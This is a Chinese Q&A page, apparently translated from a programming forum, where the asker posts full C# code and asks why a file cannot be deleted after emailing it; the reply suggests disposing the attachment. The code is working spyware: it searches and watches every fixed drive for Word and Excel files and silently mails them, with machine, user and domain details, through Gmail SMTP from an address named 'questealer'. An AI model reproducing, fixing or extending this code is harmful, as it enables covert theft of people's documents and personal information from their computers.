当我试图删除邮寄后的文件时,访问被拒绝

本文关键字:文件 访问 拒绝 删除 | 更新日期: 2023-09-27 18:16:22

当我试图删除文件....时,访问被拒绝使用文件的部分是什么?在我的文件夹队列中?

我的应用程序搜索所有的doc和xls文件,并把它们放在队列文件夹,然后从每个文件后上传它们,它应该删除它,但我得到访问拒绝....

namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            if (Directory.Exists("queue"))
            {
                Thread t2 = new Thread(delegate()
                {
                startListeningToDrives();
                //Thread.Sleep(15000);
                uploadAllFiles(1024);
                });
                t2.Start();
            }
            else {
                Thread t2 = new Thread(delegate()
                {
                    //Thread.Sleep(15000);
                    DriveInfo[] allDrives = DriveInfo.GetDrives();
                    foreach (DriveInfo d in allDrives)
                    {
                        if (d.IsReady && d.DriveType == DriveType.Fixed)
                        {
                            string str = d.ToString();
                            grabAllFiles(@str, "*.doc");
                            grabAllFiles(@str, "*.xls");
                        }
                    }
                    startListeningToDrives();
                });
                t2.Start();
            }
        }
        static void CreateFileWatcher(string path, string theExtension)
        {
            // Create a new FileSystemWatcher and set its properties.
            FileSystemWatcher watcher = new FileSystemWatcher();
            watcher.Path = path;
            watcher.IncludeSubdirectories = true;
            /* Watch for changes in LastAccess and LastWrite times, and 
               the renaming of files or directories. */
            watcher.NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
               | NotifyFilters.FileName | NotifyFilters.DirectoryName;
            // Only watch text files.
            watcher.Filter = theExtension;
            // Add event handlers.
            watcher.Changed += new FileSystemEventHandler(OnChanged);
            watcher.Created += new FileSystemEventHandler(OnChanged);
            // Begin watching.
            watcher.EnableRaisingEvents = true;
        }
        static void send_file(string fpath, string fname, string finfo)
        {
            MailMessage mail = new MailMessage();
            SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");
            mail.From = new MailAddress("questealer@gmail.com");
            mail.To.Add("somemail@gmail.com");
            mail.Subject = fname;
            mail.Body = finfo;
            System.Net.Mail.Attachment attachment;
            Random rnd = new Random();
            int fnum = rnd.Next(1, 999999);
            if (fpath.ToLower()!=  "queue''"+fname.ToLower())
            {
                File.Copy(@fpath, "queue''file" + fnum, true);
                attachment = new System.Net.Mail.Attachment("queue''file" + fnum);
            }
            else {
                attachment = new System.Net.Mail.Attachment(@fpath);
            }
            attachment.Name = fname;
            mail.Attachments.Add(attachment);
            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("somemail@gmail.com", "*********");
            SmtpServer.EnableSsl = true;

            SmtpServer.Send(mail);
            FileInfo myf = new FileInfo("queue''" + attachment.Name);
            //I get error here
            myf.Delete();
            //I get error here
        }
        static string ToFileSize( long size)
        {
            if (size < 1024)
            {
                return (size).ToString("F0") + " bytes";
            }
            else if (size < Math.Pow(1024, 2))
            {
                return (size / 1024).ToString("F0") + " KB";
            }
            else if (size < Math.Pow(1024, 3))
            {
                return (size / Math.Pow(1024, 2)).ToString("F0") + " MB";
            }
            else if (size < Math.Pow(1024, 4))
            {
                return (size / Math.Pow(1024, 3)).ToString("F0") + " GB";
            }
            else if (size < Math.Pow(1024, 5))
            {
                return (size / Math.Pow(1024, 4)).ToString("F0") + " TB";
            }
            else if (size < Math.Pow(1024, 6))
            {
                return (size / Math.Pow(1024, 5)).ToString("F0") + " PB";
            }
            else
            {
                return (size / Math.Pow(1024, 6)).ToString("F0") + " EB";
            }
        }
        static void uploadAllFiles(int maxsize) {
            string[] queueDirList = Directory.GetFiles(@"queue");
            foreach (string name in queueDirList)
            {
                FileInfo myf = new FileInfo(name);
                if (myf.Length < maxsize * 1024)
                {
                    send_file(name, myf.Name,
                        "'n►Filename: " + myf.FullName + "'n" +
                        "►Size: " + ToFileSize(myf.Length) + "'n" +
                        "►Changetype: Initial Search'n" +
                        "►Current Directory: " + System.Environment.CurrentDirectory + "'n" +
                        "►MachineName: " + System.Environment.MachineName + "'n" +
                        "►OS Version: " + System.Environment.OSVersion + "'n" +
                        "►ProcessorCount: " + System.Environment.ProcessorCount + "'n" +
                        "►Version: " + System.Environment.Version + "'n" +
                        "►UserDomainName: " + System.Environment.UserDomainName + "'n" +
                        "►UserName: " + System.Environment.UserName + "'n" +
                        "►SystemDirectory: " + System.Environment.SystemDirectory + "'n"
                        );
                }
            }
        }
        static void startListeningToDrives() {
            DriveInfo[] allDrives = DriveInfo.GetDrives();
            foreach (DriveInfo d in allDrives)
            {
                if (d.IsReady && d.DriveType == DriveType.Fixed)
                {
                    string str = d.ToString();
                    CreateFileWatcher(@str, "*.doc");
                    CreateFileWatcher(@str, "*.docx");
                    CreateFileWatcher(@str, "*.xls");
                    CreateFileWatcher(@str, "*.xlsx");
                }
            }
        }
        static void grabAllFiles(string searchdir,string sftype)
        {
                Directory.CreateDirectory("queue");
                IEnumerable<string> filesOrDirectories = SearchFiles(@searchdir, sftype);
                Random a = new Random();
                foreach (string fileOrDirectory in filesOrDirectories)
                {
                    if (!(File.GetAttributes(fileOrDirectory) == FileAttributes.Directory))
                    {
                        try
                        {
                            int ran = a.Next(0, 99999999);
                            File.Copy(fileOrDirectory, "queue''File_" + ran + "_" + Path.GetFileName(fileOrDirectory), true);
                        }
                        catch (System.IO.IOException)
                        {
                        }
                    }
                }

        }
        // Define the event handlers.
        private static void OnChanged(object source, FileSystemEventArgs e)
        {
            Thread t = new Thread(delegate()
            {Thread.Sleep(1000);
                if (File.Exists(e.FullPath))
                {
                    FileInfo myf = new FileInfo(e.FullPath);
                    if (myf.DirectoryName.ToLower() != Directory.GetCurrentDirectory().ToLower() + "''queue")
                    {
                        send_file(e.FullPath, myf.Name,
                            "'n►Filename: " + myf.FullName + "'n" +
                            "►Size: " + ToFileSize(myf.Length) + "'n" +
                            "►Changetype: " + e.ChangeType + "'n" +
                            "►Current Directory: " + System.Environment.CurrentDirectory + "'n" +
                            "►MachineName: " + System.Environment.MachineName + "'n" +
                            "►OS Version: " + System.Environment.OSVersion + "'n" +
                            "►ProcessorCount: " + System.Environment.ProcessorCount + "'n" +
                            "►Version: " + System.Environment.Version + "'n" +
                            "►UserDomainName: " + System.Environment.UserDomainName + "'n" +
                            "►UserName: " + System.Environment.UserName + "'n" +
                            "►SystemDirectory: " + System.Environment.SystemDirectory + "'n"
                            );
                    }

                }
            });
            t.Start();
        }
        public static IEnumerable<string> SearchFiles(string root, string searchPattern)
        {
            Stack<string> pending = new Stack<string>();
            pending.Push(root);
            while (pending.Count != 0)
            {
                var path = pending.Pop();
                string[] next = null;
                try
                {
                    next = Directory.GetFiles(path, searchPattern);
                }
                catch { }
                if (next != null && next.Length != 0)
                    foreach (var file in next) yield return file;
                try
                {
                    next = Directory.GetDirectories(path);
                    foreach (var subdir in next) pending.Push(subdir);
                }
                catch { }
            }
        }    
    }
}

当我试图删除邮寄后的文件时,访问被拒绝

我认为你应该做

attachment.Dispose();

发送邮件后。附件对象可能使文件保持打开状态。

[EDIT]还要注意DJ KRAZE在评论中说的话